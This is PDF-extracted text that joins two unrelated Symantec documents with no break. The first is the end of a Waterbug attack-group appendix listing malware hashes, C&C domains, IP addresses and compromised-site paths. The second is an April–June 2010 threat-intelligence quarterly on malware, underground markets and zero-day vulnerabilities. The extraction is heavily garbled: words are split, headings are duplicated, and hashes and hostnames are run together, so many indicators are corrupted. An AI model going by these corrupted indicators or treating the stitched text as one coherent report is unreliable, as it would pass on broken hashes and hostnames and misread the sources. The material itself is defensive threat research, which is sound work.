FA 2011 2013-02-27 14:23:41 1ecdb97b76bdae9810c1101d93dfe194
FA 2011 2013-02-27 14:23:41 a8a16187b033024e3e0d-722ba33ee9da
FA 2011 2013-03-27 07:10:08 b329095db961cf3b54d9acb48a3711da toolsthem.xp3.bizeuassociate.6te.net softprog.freeoda.com
FA 2011 2013-03-28 06:49:35 c09fbf1f2150c1cc87c8f45bd788f91f toolsthem.xp3.bizeuassociate.6te.net softprog.freeoda.com
FA 2011 2013-03-29 07:44:25 1bdd52a68fe474da685f1a2d502481cc
FA 2011 2013-03-29 07:44:25 5ce3455b85f2e8738a9aceb815b48aee
FA 2011 2013-03-29 07:51:34 6406ad8833bafec59a32be842245c7dc
FA 2011 2013-03-29 07:51:34 a9b0f2d66d1b16acc1f1efa696074447Page 36
The Waterbug attack group
FA 2011 2013-07-25
05:58:46 2eb233a759642abaae2e-3b29b7c85b89swim.onlinewebshop.net winter.site11.com july.mypressonline.com
FA 2011 2013-07-25 06:35:07 309cc1312adcc6fc53e6e6b7fa260093
FA 2011 2013-07-25 06:35:07 cd962320f5b1619b1c1773de235bda63
FA 2011 2013-08-29
07:34:54 973fce2d142e1323156ff1ad3735e50d
FA 2011 2013-11-12
06:21:22 c0a2e3f9af9e227252428df59777fc47
FA 2011 2014-01-22
12:11:57 707cdd827cf0dff71c99b1e05665b905 swim.onlinewebshop.net north-area.bbsindex.com
winter.site11.com
july.mypressonline.com
marketplace.servehttp.com
FA 2011 2014-01-24
10:13:05 440802107441b03f -
09921138303ca9e9swim.onlinewebshop.net north-area.bbsindex.comwinter.site11.com
july.mypressonline.com
marketplace.servehttp.com
FA 2011 2014-01-24
10:13:05 594cb9523e32a5bbf4eb1c491f06d4f9 swim.onlinewebshop.net north-area.bbsindex.comwinter.site11.comjuly.mypressonline.commarketplace.servehttp.com
FA 2011 2014-01-30 11:24:41 1fe6f0a83b332e58214c080aad300868
FA 2011 2014-01-30 11:24:41 606fa804373f595e37dc878055979c0c
FA 2011 2014-01-31 05:53:22 22fb51ce6e0bc8b52e9e3810ca9dc2e1 swim.onlinewebshop.netwinter.site11.com july.mypressonline.com
Carbon 2007 2007-05-24 08:21:34 876903c3869abf77c8504148ac23f02b
Carbon 2007 2007-06-14 13:01:39 5f7120d2debb34cab0e53b22c5e332e2
Carbon 2008 2008-09-12 13:11:13 177e1ba54fc154774d103971964ee442
Carbon 2009 08cbc46302179c4cda4ec2f41fc9a965
Carbon 2009 76f796b5574c8e262afe98478f41558d soheylistore.ir:80:/modules/mod_feed/feed.phptazohor.com:80:/wp-includes/feed-rss-comments.phpjucheafrica.com:80:/wp-includes/class-wp-edit.php61paris.fr:80:/wp-includes/ms-set.php
Carbon 2009 2009-06-22 09:17:40 bc87546fea261dab3cd95a00953179b8
Carbon 2009 2009-06-22 13:24:13 342700f8d9c1d23f3987df18db68cb4d
Carbon 2009 2009-10-01 11:17:28 db93128bff2912a75b39ee117796cdc6
Carbon 2009 2009-10-01 11:17:59 62e9839bf0b81d7774a3606112b318e8
Carbon 2009 2009-10-02 07:06:07 a67311ec502593630307a5f3c220dc59
Carbon 2009 2009-10-02 07:06:42 a7853bab983ede28959a30653bae-c74aPage 37
The Waterbug attack group
Carbon 2009 2009-10-02
07:07:16 2145945b9b32b4ccbd498d-b50419b39b
Carbon 2009 2009-10-02 07:07:43 e1ee88eda1d399822587eb58eac9b347
Carbon 2009 2009-10-02
07:10:04 5b4a956c6ec246899b1d459838892493
Carbon 2009 2009-10-02
07:11:33 5dd1973e760e393a5ac3305ffe94a1f2
Carbon 2009 2009-10-02 07:11:33 ae3774fefba7557599fcc8af547cca70
Carbon 2009 2009-11-04 20:03:41 53b59dffce657b59872278433f9244a2
Carbon 2009 2014-02-26 13:37:00 e6d1dcc6c2601e592f2b03f35b06fa8f
Carbon 2009 2014-02-26
13:37:48 554450c1ecb925693fedbb9e56702646
Carbon 2009 2014-02-26
13:39:03 244505129d96be57134cb00f27d4359c
Carbon 2009 2014-02-26 13:39:52 4ae7e6011b-550372d2a73ab3b4d67096
Carbon 2009 2014-02-26 13:39:52 ea23d67e41d1f0a7f7e7a8b59e7cb60f
Carbon 2009 2014-02-26 13:43:19 43e896ede6fe025ee90f7f27c6d376a4
Carbon 2009 2014-02-26 13:43:30 4c1017de62ea4788c7c8058a8f825a2d
Carbon 2009 2014-02-26 13:43:51 91a5594343b47462ebd6266a9c40ab-be
Carbon 2009 2014-02-26 13:44:01 df230db9bddf200b24d8744ad84d80e8
Carbon 2009 2014-02-26 13:44:20 cb1b68d9971c2353c2d6a8119c49b51f soheylistore.ir:80:/modules/mod_feed/feed.phptazohor.com:80:/wp-includes/feed-rss-comments.phpjucheafrica.com:80:/wp-includes/class-wp-edit.php
61paris.fr:80:/wp-includes/ms-set.php
Carbon 2009 2014-07-02
19:56:22 3ab8d9eef5c32b5f8f6e4068710bd9e5
Carbon 2009 2014-07-02 19:56:22 6b6b979a4960d-279b625378025e729cc
Carbon 2009 2014-07-02 19:58:56 c466c5f8d127adb17fbc0c5182ecb118
Carbon 2009 2014-07-02 20:03:35 4c9e3ba2eda63e1be6f30581920230f0
Carbon 2009 2014-08-12
09:41:18 66962d3e0f00e7713c0e1483b4bf4b19
SAV [possibly
compiled from pre-2011 sources]2012-01-13 05:20:20 6e8bd431ef91d76e757650239fa478a5
SAV [possibly compiled from pre-2011 sources]2012-01-13 05:20:20 f613fd96294515aaee3a2663d3b034c1
SAV [possibly compiled from pre-2011 sources]2012-01-13 05:20:20 f86afb092e4b1a364ed6f6bc7f81db74Page 38
The Waterbug attack group
SAV 2011 2786525baa5f2f2569ca15caff1ebf86
SAV 2011 7a1348838ab5fe3954cb9298e65bfbee
SAV 2011 a6fdf333606aef8c10d7e78444721c02
SAV 2011 1970-01-01
00:00:00 368d20edfd287e5ea3bb664a90e1a95e
SAV 2011 2008-05-31 02:18:53 eaea9ccb40c82af8f3867cd0f4dd5e9d
SAV 2011 2011-06-24 07:47:59 ed785bbd156b61553aaf78b6f71fb37b
SAV 2011 2011-06-24 07:47:59 edd5fd7cf3b22fa4ea956d1a447520ff
SAV 2011 2011-06-24
07:49:41 320f4e6ee421c1616bd058e73cfea282
SAV 2011 2011-06-24
07:49:41 40aa66d9600d82e6c814b-5307c137be5
SAV 2011 2011-06-24 07:49:41 5036c44fbe7a99a0bddc9f05f7e9df77
SAV 2011 2011-06-24 07:49:41 60ec7a1c72f0775561819aa7681cf1ac
SAV 2011 2011-06-24 07:49:41 c62e2197ac81347459e07d6b-350be93a
SAV 2011 2011-06-24 07:49:41 e265cd3e813d38d44e0fb7d84af24b4e
SAV 2011 2011-06-24 07:49:41 f4f192004df1a4723cb9a8b4a9eb2fbf
SAV 2011 2011-06-24 07:49:41 fb56784a109272bda77f241b06e4f850
SAV 2011 2011-10-26 05:04:06 4bd507e64c289d6687901baf16f6bbd7
SAV 2011 2011-10-26 05:04:06 e32d9e04c04c0c7e497905b5dcba7e50
SAV 2011 2011-10-26 05:04:06 ff411fc323e6652fcc0623fa1d9cb4d3
SAV 2011 2012-12-07 08:54:53 0565fc9cad0a9d3474fc8b6e69395362
SAV 2011 2012-12-07
08:54:53 ccb1b0e7ccd603c6cefc838c4a6fa132
SAV 2011 2013-02-04
13:17:56 69fc2ef72b3b0f30460b67d0201eef6e
SAV 2011 2013-02-04 13:17:56 90478f6ed92664e0a6e6a25ecfa8e395
SAV 2011 2013-02-04 13:17:59 10254385e980f8b0784e13a5153e4f17
SAV 2011 2013-02-04
13:17:59 3e521e7d5b1825d8911fff9317503e13
SAV 2011 2013-02-04
13:17:59 b46c792c8e051bc5c9d4cecab96e4c30
SAV 2011 2013-02-04 13:18:09 2702e709eaae31c9255f812592d06932
SAV 2011 2013-02-04 13:18:09 5f8f3cf46719afa7eb5f761cdd18b63dPage 39
The Waterbug attack group
SAV 2011 2013-02-04
13:18:09 c58ab0bec0ebaa0440e1f64aa9dd91b3
SAV 2011 2013-02-04 13:18:10 2b47ad7df9902aaa19474723064ee76f
SAV 2011 2013-02-04
13:18:10 bd2fdaff34112cbfdfb8a0da75a92f61
SAV 2011 2013-02-04
13:18:10 ea3d1ee0dd5da37862ba81f468c44d2a
SAV 2011 2013-02-04 13:19:09 f156ff2a1694f479a079f6777f0c5af0
SAV 2011 2013-02-04 13:19:14 83b9eeffc9aad9d777dd9a7654b3637e
SAV 2011 2013-02-04 13:19:14 a22150576ca5c95c163fea4e4e750164
SAV 2011 2013-02-04
13:19:21 607d8fe2f3c823d961b95da106e9df5f
SAV 2011 2013-02-04
13:19:21 626576e5f0f85d77c460a322a92bb267
SAV 2011 2013-02-04 13:19:25 5cc5989e870b23915280aee310669ccb
SAV 2011 2013-02-04 13:19:25 611bbfb33b4b405d5d76a5519632f99a
SAV 2011 2013-02-04 13:19:25 8c4029bbd9dfb1093fb9cca3db01f8ff
SAV 2011 2013-02-04 13:19:25 8cf1c23e71783a4fb00005e569253d6d
SAV 2011 2013-02-04 13:19:31 1d4ec94509aa1cb53148eb715facae76
SAV 2011 2013-02-04 13:19:31 209bfa50786096328934ad1dc62a4ec3
SAV 2011 2013-02-04 13:19:31 a655b19814b74086c -
10da409c1e509c0
SAV 2011 2013-02-04 13:19:53 1538246b770e215781e730297cedb071
SAV 2011 2013-02-04 13:19:53 199661f25577f69592e8caea76166605
SAV 2011 2013-02-04 13:19:53 3889a23e-449362a34ba30d85089407c8
SAV 2011 2013-02-04
13:19:53 3c1a8991e96f4c56ae3e90fb6f0ae679
SAV 2011 2013-02-04
13:19:53 4535025837bebae-7a04eb744383a82d7
SAV 2011 2013-02-04 13:19:59 1c6c857fa17ef0aa3373ff16084f2f1c
SAV 2011 2013-02-04 13:19:59 1f7e40b81087dbc2a65683eb25df72c4
SAV 2011 2013-02-04
13:20:02 119f2d545b167745fc6f71aed1f117f6
SAV 2011 2013-02-04
13:20:02 750d2f5d99d69f07c6cee7d4cbb45e3f
SAV 2011 2013-02-04 13:20:04 01829c159b-be25083b8d382f82b26672
SAV 2011 2013-02-04 13:20:04 3de8301147da3199e-422b28bb782e2a9
SAV 2011 2013-02-04 13:20:04 a762d2c56999eda5316d0f94aba940cbPage 40
The Waterbug attack group
SAV 2011 2013-02-04
13:20:04 f3858dc203da418474b5033a912170c0
SAV 2011 2013-02-04 13:20:04 f57c84e22e9e6eaa6cbd9730d7c652dc
SAV 2011 2013-02-04
13:20:05 083c95e8ffa48f7da5ae82b0bd79db1b
SAV 2011 2013-02-04
13:20:05 380bb5b8c750c7252948dc08901c0487
SAV 2011 2013-02-04 13:20:05 64adad7c7965a0abc87a1cbc6c77b558
SAV 2011 2013-02-04 13:20:05 8cd392a5b62c44dd88c6b847db428fba
SAV 2011 2013-02-04 13:20:05 d4fb3ec5951a89a573445058012d7dcd
SAV 2011 2013-02-08
12:12:45 01c90932794c9144fa6c842e2229e4ec
SAV 2011 2013-02-08
12:12:45 24ad996024bb9b2321550ab-f348e009d
SAV 2011 2013-02-08 12:12:45 921ad714e7fb01aaa8e9b960544e0d36
SAV 2011 2013-02-08 12:12:45 e183bfd93326f77f7596dcc41064a7c8
SAV 2011 2013-02-08 12:12:49 96fff289cc939d776a1198f460717aff
SAV 2011 2013-02-08 12:12:49 eb621eeecafd25a15e999fe786470bf4
SAV 2011 2013-02-08 12:12:58 a231056fcc095d0f853e49f47988e46e
SAV 2011 2013-02-08 12:12:58 ff8071d7147c4327e17c95824bb7315f
SAV 2011 2013-02-08 12:13:00 465eed02d1646a3ad20c43b9f0bbe2e9
SAV 2011 2013-02-08 12:13:00 4c4e1a130bb2cea63944b589fc212e1f
SAV 2011 2013-02-08 12:13:00 70dc1e25493940e959fd1f117e60a90c
SAV 2011 2013-02-08 12:13:08 4f42fe8c67214c7ab5c9f8d6a8ed2c9c
SAV 2011 2013-02-08
12:13:08 6095f71f699ff30bba2321d433e91e1d
SAV 2011 2013-02-08
12:13:08 a86ac0ad1f8928e8d4e1b728448f54f9
SAV 2011 2013-02-08 12:13:18 22d01fa2725ad7a83948f399144563f9
SAV 2011 2013-02-08 12:13:18 3f4d37277737c118ecda5e90418597a5
SAV 2011 2013-02-08
12:13:18 498f9aa4992782784f49758c81679d0a
SAV 2011 2013-02-08
12:13:18 bb4e92c27d52fb8514a133629c4c7b05
SAV 2011 2013-02-08 12:13:19 5ede9cb859b40fb01cf1efb6ad32a5f1
SAV 2011 2013-02-08 12:13:19 aa9b4a7faa33c763275d2888fbf0f38b
SAV 2011 2013-02-08 12:13:22 b19d41bec36be0e54f8740855c309c85Page 41
The Waterbug attack group
SAV 2011 2013-02-08
12:13:22 ee58e5434b0cabaff8aba84ed1526d8d
SAV 2011 2013-02-08 12:13:26 199fa4ef7c88271882d81618d82acd0a
SAV 2011 2013-02-08
12:13:26 29f39297bd068b0b3f0ceb01abc1fa90
SAV 2011 2013-02-08
12:13:26 335387e729499ff7d46c25477e9c8c5a
SAV 2011 2013-02-08 12:13:26 58c5f766ef18df552a8b39dab9d29d2a
SAV 2011 2013-02-08 12:13:26 e224fd7563b9c7893566018204be820c
SAV 2011 2013-05-14 10:42:23 b2a9326bc421581dc60a03b97ee7ffce
SAV 2011 2013-05-14
10:42:23 c6c475d7678c1a3ccbba987042c08fdf
SAV 2011 2013-10-04
13:07:42 02eb0ae7bfa899d80a6e8d14603a1774
SAV 2011 2013-10-04 13:07:42 41acf7f9e821d087781d9f69c5a08eb8
SAV 2011 2013-10-04 13:07:42 ddc439cae6bd6d68157e4d28b14be68c
SAV 2011 2013-10-04 13:07:42 f65c36b49b3d1ad0074124b-d31c74b50
SAV 2011 2014-03-21 06:41:54 24f2b8ed1bab204f00dc49a76c4aa722
SAV 2011 2014-03-21 06:41:54 43af46ba9015a06cc8ffaac6105ea732
SAV 2011 2014-03-21 06:41:54 9c1199662869706e1361b3cc1df1f8b6
SAV 2011 2014-03-21 06:41:53 101e57e655cd70de09fdb5dc6660a861
SAV 2011 2014-03-21 06:41:53 36986f7dedc83c8ea3fbd6a51bd594b2
SAV 2011 2014-03-21 06:41:53 463c217df2ea75f98cb4d02b8b688318
SAV 2011 2014-03-21 06:41:53 ce184ef045f4b0eb47df744ef54df7bc
SAV 2011 2014-03-21
06:41:53 efdaf1460ce9e62bde6b98ae4749cf56
SAV 2011 2014-03-21
06:41:53 fcaebfbad36d66627c3e1c72f621131a
ComRAT 2013-01-03 00:37:57 255118ac14a9e66124f7110acd16f2cd
ComRAT 2013-01-03 00:55:06 8d4f71c3ec9a7a52904bbf30d0ad7f07
ComRAT 2013-01-03
18:03:16 7592ac5c1cf57c3c923477d8590b6384
ComRAT 2013-01-03
18:03:45 b407b6e5b4046da226d6e189a67f62ca
ComRAT 2013-01-03 18:14:51 0ae421691579ff6b27f65f49e79e88f6
Generic 24a13fc69075025615de7154c3f5f83fPage 42
The Waterbug attack group
Trojan.Turla C&C servers
Symantec has sinkholed a number of C&C servers used by the Waterbug group. Table 6 details the C&C servers
that Symantec has identified.Generic a4791944d-
c3b6306692aed9821b11356mail.9aac.ru; http://kad.arbitr.ru/ http://9aas.arbitr.ru9aas.arbitr.ru/
Generic bdf2a449f611836bc55117586d8b1b31
Generic dd5c6199cef69d4e2a1795e481d5f87d
Generic eeeccf09d64c6d32d67dbcedd25d47ac
Generic fa8715078d45101200a6e2bf7321aa04
Table 6. C&C servers used by the Waterbug group
C&C hostname / IP Address Sinkholed
communityeu.xp3.biz SINKHOLED
euassociate.6te.net SINKHOLED
euland.freevar.com SINKHOLED
eu-sciffi.99k.org
fifa-rules.25u.comfranceonline.sytes.netgreece-travel.servepics.com
hockey-news.servehttp.com
marketplace.servehttp.commusicplanet.servemp3.commusic-world.servemp3.com
newutils.3utilities.com
nightday.comxa.comnorth-area.bbsindex.com SINKHOLED
olympik-blog.4dq.compokerface.servegame.com
pressforum.serveblog.net
sanky.sportsontheweb.netsoftprog.freeoda.comtiger.got-game.org
tiger.netii.net
toolsthem.xp3.biz SINKHOLED
top-facts.sytes.netweather-online.hopto.org
wintersport.sytes.netPage 43
The Waterbug attack group
world-weather.zapto.org
x-files.zapto.orgbooking.etowns.org SINKHOLED
easports.3d-game.com SINKHOLED
cheapflights.etowns.net SINKHOLED
academyawards.effers.com SINKHOLED
62.68.73.57
62.12.39.117
202.78.201.9982.113.19.75207.226.44.167
85.195.129.196
193.19.191.24082.211.156.19072.232.222.58212.6.56.67
62.212.226.118
82.113.19.72196.45.118.1482.77.184.252
213.150.170.192
212.6.56.8262.12.39.11762.68.73.57
80.88.134.172
te4step.tripod.comwww.scifi.pages.atsupport4u.5u.com
eu-sciffi.99k.org
swim.onlinewebshop.netwinter.site11.comjuly.mypressonline.comsoheylistore.ir
tazohor.com
jucheafrica.com61paris.fr
|
SSymantec Intelligenceymantec Intelligence
QuarterlyQuarterly
April - June 2010
Quarterly Report: S ymantec Intelligence Quarterly
SSymantec Intelligence Quarterlyymantec Intelligence Quarterly
April - June 2010
Contents
Introduction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Highlights . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1
Metrics . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2
Over view: The Micro soft Help and Support Center Zero-da y Vulnerabilit y. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 5
Over view: The Adobe Flash Zero-da y Vulnerabilit y. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 6
Over view: The Month of PHP Securit y. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8
Credits . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11Introduction
Symantec has es tablished some of the mo st comprehensive sources of Internet threat data in the world with the
Symantec™ Global Intelligence Net work. More than 240,000 sensors in over 200 countries and territories monitor attack
activit y through a combination of S ymantec products and ser vices such as S ymantec DeepSight™ Threat Management
System, S ymantec™ Managed Securit y Ser vices, Norton ™ consumer products, and third-part y data sources.
Symantec also gathers malicious code intelligence from more than 133 million client, ser ver, and gatewa y sys tems that
have deployed its antivirus products. Additionally, the S ymantec dis tributed honeypo t net work collects data from around
the globe, cap turing previously unseen threats and attacks and providing v aluable insight into attack methods.
Spam and phishing data is cap tured through a v ariet y of sources including: the S ymantec probe net work, a sys tem of more
than 5 million decoy accounts; MessageLab s™ Intelligence, a respected source of data and analysis f or messaging securit y
issues, trends and s tatis tics; and, o ther S ymantec technologies. Over 8 billion email messages (as well as over 1 billion
Web reques ts) are processed each da y acro ss 16 data centers. S ymantec also gathers phishing inf ormation through an
extensive antifraud communit y of enterprises, securit y vendors, and over 50 million consumers.
These resources give S ymantec securit y analys ts unparalleled sources of data with which to identif y, analyz e, and provide
informed commentar y on emer ging trends in attacks, malicious code activit y, phishing, and spam. This report will discuss
notable aspects of malicious activit y that S ymantec has ob served in the second quarter of 2010 (April to June).
An important no te about these s tatis tics
The Symantec Global Intelligence Net work uses automated sys tems to map the IP addresses of the attacking sys tems to
identif y the countr y in which they are located. However, because attack ers frequently use compromised sys tems situated
around the world to launch attacks remo tely, the location of the attacking sys tems ma y diff er from the location of the
attack er.
Highlights
•The United States was the top countr y for malicious activit y in this quarter, accounting f or21 percent of the
total;
•The top W eb-based attack f or the quarter was related to malicious PDF activit y, which accounted f or 36 percent
of the to tal;
•Credit card inf ormation was the mo st commonly advertised item f or sale on under ground econom y ser vers
known to S ymantec in this quarter, accounting f or 28 percent of all goods and ser vices;
•Symantec created 457,641 new malicious code signatures during this quarter;
•The mo st common malicious code sample by po tential inf ections during this quarter was the Salit y.AE virus;
•Symantec ob served12.7 trillion spam messages during this quarter, accounting f or appro ximately 89 percent
of all email messages ob served;
•The majorit y of brands used in phishing attacks this quarter were in the financial sector, which accounted f or
73 percent of the to tal.Symantec Intelligence Quarterly
April - June 2010
1Metrics
Malicious activitMalicious activit y by country by countr y/rey/re giongion
This metric will assess the countries and re gions in which the highes t amount of malicious activit y took place or
originated. Rankings are determined by calculating the a verage of the proportion of malicious activit y that originated in
each countr y or re gion.
The United States was the top rank ed countr y for malicious activit y this quarter, accounting f or 21 percent of the to tal
(table 1). Within specific cate gory measurements, the United States rank ed firs t in all cate gories ex cept spam z ombies.
Table 1. Malicious activit y by countr y/re gion
India had the second highes t amount of overall worldwide malicious activit y this quarter, accounting f or six percent.
Within specific cate gory measurements, India rank ed firs t in spam z ombies by a significantly lar ge mar gin.
TTop Wop W eb-based attackseb-based attacks
This metric will assess the top dis tinct W eb-based attacks that originate either from compromised le gitimate sites or
malicious sites that ha ve been created to intentionally tar get W eb users.
In this quarter, the top W eb-based attack was related to malicious PDF activit y, which accounted f or 36 percent of W eb-
based attacks (table 2). A ttemp ts to download suspicious PDF documents were specifically ob served. This ma y indicate
attemp ts by attack ers to dis tribute malicious PDF content to victims via the W eb. The attack is no t directly related to a
specific vulnerabilit y, although the contents of the malicious file would be designed to exploit an arbitrar y vulnerabilit y in
an application that processes it. This attack ma y be popular due to the common use and dis tribution of PDF documents on
the W eb, and to the practice of configuring browsers to automatically render PDF documents by default.Symantec Intelligence Quarterly
April - June 2010
2Table 2. T op W eb-based attacks
The second mo st common W eb-based attack this quarter was associated with the Micro soft Internet Explorer®
ADODB.Stream Object File Ins tallation W eakness, 1which accounted f or 33 percent of the to tal globally. The weakness
allows attack ers to ins tall malicious files on vulnerable computers when users visit web sites ho sting an exploit. T o carr y
out this attack, an attack er mus t exploit ano ther vulnerabilit y that bypasses Internet Explorer® securit y settings, allowing
the attack er to ex ecute malicious files ins talled by the initial securit y weakness. This issue was published on Augus t 23,
2003, and fix es ha ve been a vailable since July 2, 2004. The continued popularit y of this W eb-based attack ma y indicate
that man y computers running Internet Explorer® ha ve no t been patched or updated and are running with this expo sed
weakness.
UnderUnder ground economground econom y sery ser vers—goods and servers—goods and ser vices avices a vvailable failable f or saleor sale
This section discusses the mo st frequently advertised items f or sale ob served on under ground econom y ser vers, which are
online black mark et forums f or the promo tion and trade of s tolen inf ormation and ser vices.
In this quarter, the mo st frequently advertised item ob served on under ground econom y ser vers was credit card
information, accounting f or 28 percent of all goods (table 3). Prices f or credit card inf ormation ranged from $1 to $30
depending on the t ype of card, the countr y of origin, and the amount of bundled personal inf ormation used f or card holder
verification. 2Symantec ob served bulk purchase off ers of 1000 credit cards f or $1,500.
1-http://w ww.securit yfocus.com/bid/10514
2-All currenc y in U.S. dollarsSymantec Intelligence Quarterly
April - June 2010
3Table 3. Goods and ser vices a vailable f or sale on under ground econom y ser vers
The second mo st commonly advertised item f or sale on under ground econom y ser vers during this quarter was bank
accounts, accounting f or 24 percent of all advertised goods. The advertised price f or bank accounts ranged from $10 to
$125 and bank balances ranged from $373 to $1.5 million.
TTop malicious code samplesop malicious code samples
The mo st common malicious code sample by po tential inf ections during this quarter was the Salit y.AE virus (table 4). 3
This virus inf ects ex ecutable files on compromised computers and removes securit y applications and ser vices. Once
thevirus is ins talled, it also attemp ts to download and ins tall additional threats onto inf ected computers.
Table 4. T op malicious code samples
The second rank ed malicious code sample causing po tential inf ections during this quarter was Mabezat.B. 4This worm
propagates by copying itself to an y mapped or remo te drives, and is also programmed to copy itself to net work shares by
attemp ting to connect with weak passwords. It also attemp ts to propagate through email, to modif y the built-in Micro soft
Windows ® CD burning f eature to include the worm in burned CDs, and to encr ypt numerous diff erent file t ypes.
3-http://w ww.symantec.com/securit y_response/writeup.jsp?docid=2008-042106-1847-99
4-http://w ww.symantec.com/securit y_response/writeup.jsp?docid=2007-120113-2635-99Symantec Intelligence Quarterly
April - June 2010
4TTop phishing sectorsop phishing sectors
The majorit y of brands used in phishing attacks this quarter were in the financial ser vices sector (table 5). These attacks
accounted f or 73 percent of the to tal reported phishing attacks. The financial sector is commonly the lar gest sector
targeted in phishing attacks because the v arious associated ser vices are the mo st likely to yield data that could be directly
used f or financial gain. Man y phishing attacks that spoof financial ser vices brands will promp t users to enter credit card
information or banking credentials into fraudulent sites. If these tactics are successful, the phishers can then cap ture and
sell such inf ormation in the under ground econom y.
Table 5. T op phishing sectors
The second lar gest percentage of brands used in phishing attacks was in the ISP sector, accounting f or 10 percent of the
total number of phishing attacks reported this quarter. ISP accounts can be v aluable to phishers because they ma y contain
email accounts, W eb-ho sting space, and authentication credentials.
Over view: The Micro soft Help and Support Center Zero-da y Vulnerabilit y
On June 9, 2010, a third-part y researcher reported a z ero-da y vulnerabilit y aff ecting the Help and Support Center
application in Windows ® Ser ver 2003 and Windows ® XP. Help and Support Center is the default application used f or
handling access to online Micro soft Windows ® documentation. Documentation can be accessed directly through o ther
applications such as W eb browsers by using Help and Support Center pro tocol (HCP) URIs. When the application receives
an HCP reques t, the reques ted file is verified using a whitelis t to res trict untrus ted sites from accessing unauthoriz ed data.
The reported vulnerabilit y occurs because of a flaw in the wa y that the application handles errors while checking the
whitelis t. By adding specially craf ted data to an HCP URI, the flaw can be manipulated to bypass res trictions that are
defined by the whitelis t. This can result in unauthoriz ed access to res tricted help documents. The report included a proof -
of-concep t URI to demons trate exploitation of the vulnerabilit y. Limited, tar geted attacks using the proof -of-concep t code
were confirmed in the wild by June 15.
An attack er can exploit this issue by enticing a victim to f ollow a malicious URI. A successful attack would grant the
attack er unauthoriz ed access to res tricted help documents on the victim’s computer. The attack could be combined with
exploits of o ther vulnerabilities—such as the Micro soft Help and Support Center “sysinf o/sysinf ormation.htm” cro ss-siteSymantec Intelligence Quarterly
April - June 2010
5scrip ting weakness—to ex ecute malicious code on the tar get computer. An attack er who successfully exploits this issue
can gain control of tar get computers and carr y out additional malicious activities, such as s tealing confidential
information or using the victimiz ed computers to send spam email.
On June 10, Micro soft released a securit y advisor y to acknowledge its awareness of the report and that it was
investigating the issue. Micro soft is currently developing a securit y update to address the vulnerabilit y; in the interim, an
automated workaround solution is a vailable immediately to mitigate the vulnerabilit y by unre gistering HCP.
Over view: The Adobe Flash Zero-da y Vulnerabilit y
On June 4, 2010, Adobe issued a securit y bulletin indicating that it had received reports of the exploitation of an
unpatched, previously unknown z ero-da y vulnerabilit y aff ecting its Flash Pla yer application. 5As securit y researchers
scrambled to identif y the problem, knowledge of the bug spread to more attack ers, slowly ex acerbating the situation. With
limited mitigations a vailable, securit y vendors were under pressure to release detections and mitigation procedures, and
for the vendor to create, tes t, and dis tribute an out-of -band patch.
TTimelineimeline
•June 4, 2010 – Adobe receives inf ormation that an unknown, unpatched issue exis ts in Flash Pla yer;6
•June 4, 2010 – S ymantec issues BID 40586; 7
•June 4, 2010 – Adobe issues securit y advisor y APSA10-01; 8
•June 7, 2010 – Adobe indicates that its quarterly securit y update re gularly scheduled f or July 13 would be
pushed up, to June 29 f or Adobe Reader®
and to July 10 f or Flash Pla yer;9
•June 10, 2010 – The Metasploit Project publishes a reliable public exploit; 10
•June 10, 2010 – Adobe provides an update f or Flash Pla yer; Reader is s till vulnerable; 11
•June 14, 2010 – S ymantec analys ts identif y link bet ween this vulnerabilit y and IEP eers tar geted attacks, and
possibly o ther tar geted attacks, from as far back as 2008; 12
•June 29, 2010 – Adobe issues an update f or Reader. 13
VVulnerabilitulnerabilit yy
The bug is a class of vulnerabilit y ref erred to as an in valid or dangling pointer. 14Discovering these bugs using binar y static
analysis is difficult, but no t impo ssible. 15The Flash file used in this attack came from a public source and it is highly
unlik ely that the file was originally intended to be malicious. 16However, a specific, single-by te modification to the file
results in an easily exploitable condition. There is a high po ssibilit y that this bug was f ound using a fuz zer tool. 17
5-http://w ww.adobe.com/support/securit y/advisories/ap sa10-01.html
6-http://w ww.adobe.com/support/securit y/advisories/ap sa10-01.html
7-http://w ww.securit yfocus.com/bid/40586
8-http://w ww.adobe.com/support/securit y/advisories/ap sa10-01.html
9-http://w ww.adobe.com/support/securit y/advisories/ap sa10-01.html
10-http://w ww.metasploit.com/redmine/projects/framework/repo sitor y/revisions/9473
11-http://w ww.adobe.com/support/securit y/advisories/ap sa10-01.html
12-http://w ww.symantec.com/connect/blogs/z ero-da y-connection
13-http://w ww.adobe.com/support/securit y/bulletins/ap sb10-15.html
14-http://w ww.memor ymanagement.or g/glo ssar y/d.html; the exploitation details of which can be f ound on the S ymantec Securit y Response blog at http://w ww.symantec.com/connect/blogs/analysis-z ero-da y-exploit-
adobe-flash-and-reader
15-Static analysis is a technique f or sof tware verification that relies on analyzing the application without ex ecuting it.
16-http://blog.z ynamics.com/2010/06/09/analyzing -the-currently-exploited-0-da y-for-adobe-reader-and-adobe-flash
17-Fuzzers tes t an application f or buff er overflows, f ormat s tring vulnerabilities, and o ther errors that can sub sequently be exploited; see http://w ww.cgisecurit y.com/ques tions/securit yfuzzer.shtmlSymantec Intelligence Quarterly
April - June 2010
6Vulnerabilities in Flash are v aluable to attack ers. Flash is prolific and there are versions f or virtually ever y browser on all
major operating sys tems. The wide dis tribution of Flash, combined with the number of aff ected operating sys tems, mak es
it an appealing tar get f or attack ers. The return on in vestment f or this vulnerabilit y is ver y high, especially if it was
discovered using a fuz zer, because this of ten requires less time in vestment on the attack er’s part.
An exploitable weakness in Reader is also highly attractive to attack ers because Reader is widely used f or rendering PDF
files and PDF s can contain embedded content. F or ex ample, Reader can render an embedded Flash file inside a PDF.
